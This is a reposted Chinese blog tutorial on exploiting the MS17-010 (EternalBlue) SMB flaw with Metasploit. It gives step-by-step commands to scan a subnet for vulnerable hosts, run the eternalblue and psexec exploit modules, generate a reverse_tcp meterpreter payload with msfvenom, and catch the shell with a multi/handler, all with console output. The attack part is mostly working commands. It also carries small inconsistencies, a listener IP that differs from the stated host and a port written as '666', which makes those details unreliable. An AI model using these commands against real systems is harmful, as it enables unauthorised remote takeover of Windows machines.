永恒之蓝是去年玩剩下的了,记得当初刚刚泄露的时候,用的是NSA那个fb.py脚本去复现漏洞的。现在Metasploit里面已经集成了17-010漏洞,渗透测试更加方便与正式化,内网中用17-010去测一测会发现意外惊喜哦。

写在前面

起初在Docker环境下最后执行exploit的时候总是拿不到sessions,换了很多系统失败了很多次。后来果断感觉是Docker环境的问题,于是用虚拟机下的Kali测试,最后测试成功~ ~所以测试的时候尽量少用Docker环境下的Kali来监听反弹的sessions哦~ 后来给幸安哥描述了这个情况,得到答复是docker做这个反弹shell监听得把445端口映射出来才可以 涨姿势了。关于端口映射后面会单独写文章来介绍,关于msf一些高级用法本打算写在这篇文章里面的,后来发现有的冗余了,准备另开文章来写。

Metasploit正题

搜索相关的漏洞插件

msf > search 17-010


搜索到了4个相关的插件:

  1. auxiliary/admin/smb/ms17_010_command
  2. auxiliary/scanner/smb/smb_ms17_010
  3. exploit/windows/smb/ms17_010_eternalblue
  4. exploit/windows/smb/ms17_010_psexec

其中前2个插件是auxiliary目录下的,属于辅助验证程序。
3和4是exploit目录下的,这才是我们重点研究的对象~

使用辅助验证插件测试

这里就拿auxiliary/scanner/smb/smb_ms17_010这个扫描插件来测试,这个插件的作用是扫描可能含有ms17-010漏洞的服务器。

Ruby
msf > use auxiliary/scanner/smb/smb_ms17_010

msf auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

Name Current Setting Required Description
- -
CHECK_ARCH true yes Check for architecture on vulnerable hosts
CHECK_DOPU true yes Check for DOUBLEPULSAR on vulnerable hosts
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads

这里的show options是显示这个插件相关的一些参数,在Required这一栏下面是yes的表示必填参数,这里面还剩RHOSTS这个参数没有填写即目标网段。下面设置一个目标网段,准备进行扫描测试:

Ruby
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.10.55.1/24
RHOSTS => 10.10.55.1/24

设置扫描线程,插件默认是1,这里设置为50

Shell
msf auxiliary(scanner/smb/smb_ms17_010) > set THREADS 50
THREADS => 50

可以执行show options查看自己刚刚填写的参数信息:


开始执行插件:

Shell
msf auxiliary(scanner/smb/smb_ms17_010) > run

或者

Shell
msf auxiliary(scanner/smb/smb_ms17_010) > exploit

可以看到扫描出很多含有漏洞的主机了:

使用exploit模块来进行攻击测试

exploit/windows/smb/ms17_010_eternalblue

Ruby
msf > use exploit/windows/smb/ms17_010_eternalblue

msf exploit(windows/smb/ms17_010_eternalblue) > run

exploit成功~~

exploit/windows/smb/ms17_010_psexec

Ruby
msf > use exploit/windows/smb/ms17_010_psexec

msf exploit(windows/smb/ms17_010_psexec) > set RHOST 10.10.55.174
RHOST => 10.10.55.174

msf exploit(windows/smb/ms17_010_psexec) > run

失败~~

msf exploit(windows/smb/ms17_010_psexec) > exploit

[] Started reverse TCP handler on 10.101.177.185:4444
[
] 10.10.55.174:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
[-] 10.10.55.174:445 - Unable to find accessible named pipe!
[*] Exploit completed, but no session was created.

黑客组织 Shadow Brokers 公布了美国国家安全局 NSA 的内部黑客工具和漏洞利用代码,包括三大工具 EternalChampion、EternalRomance 和 EternalSynergy,近日一位安全研究人员 Sean Dillon(RiskSense) 改良了这三大黑客工具的源代码,使其适用于 Windows 2000 之后 20 年间的所有微软操作系统,包括 32 位和 64 位版本。

这里我随便测试了没有成功,可能是这里我测试的win7版本有点不一样,和官方介绍的所有版本略微有点不一样~~不过在测试Server 08 R2版本的时候执行效率很高,可以很快拿到反弹的shell。所以具体改良了哪些建议实际动手去测试一番。

msf简单反弹shell模板

kali操作机器的ip地址是:10.101.177.185,将shell会话转到kali的6666端口上。

生成payload

payload生成有32位和64位,所以生成的时候得明确目标系统的位数,否则运行或者拿到会话的时候回GG,服务器那边弹出停止响应的运行框。

Ruby
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.101.177.185 LPORT=6666 -f exe > shell.exe


然后把生成的shell.exe拷贝到Windows下面,准备运行~

32位payload的生成语句就是windows/meterpreter/reverse_tcp去掉x64

监听shell会话

Shell
msf > use exploit/multi/handler
msf > set LHOST 10.0.0.103
msf > set LPORT 6666
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > exploit

[*] Started reverse TCP handler on 10.101.177.185:6666

然后msf就开始监听本机的666的端口了。

运行shell.exe

这个时候在windows下点击之前生成的shell.exe,msf这里会劫持到会话。

32位系统,这里做如下调整:set PAYLOAD windows/meterpreter/reverse_tcp去掉x64

meterpreter汉字乱码问题

成因

Linux下面汉字默认是UTF-8编码
Windows下汉字使用的是GBK系列编码

解决方案

Kali下先勾选GBK编码


然后将终端临时设置为GBK系列编码即可。

效果对比

msf乱码

msf汉字正常

转自:https://www.sqlsec.com/2018/03/smb.html
作者:国光

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐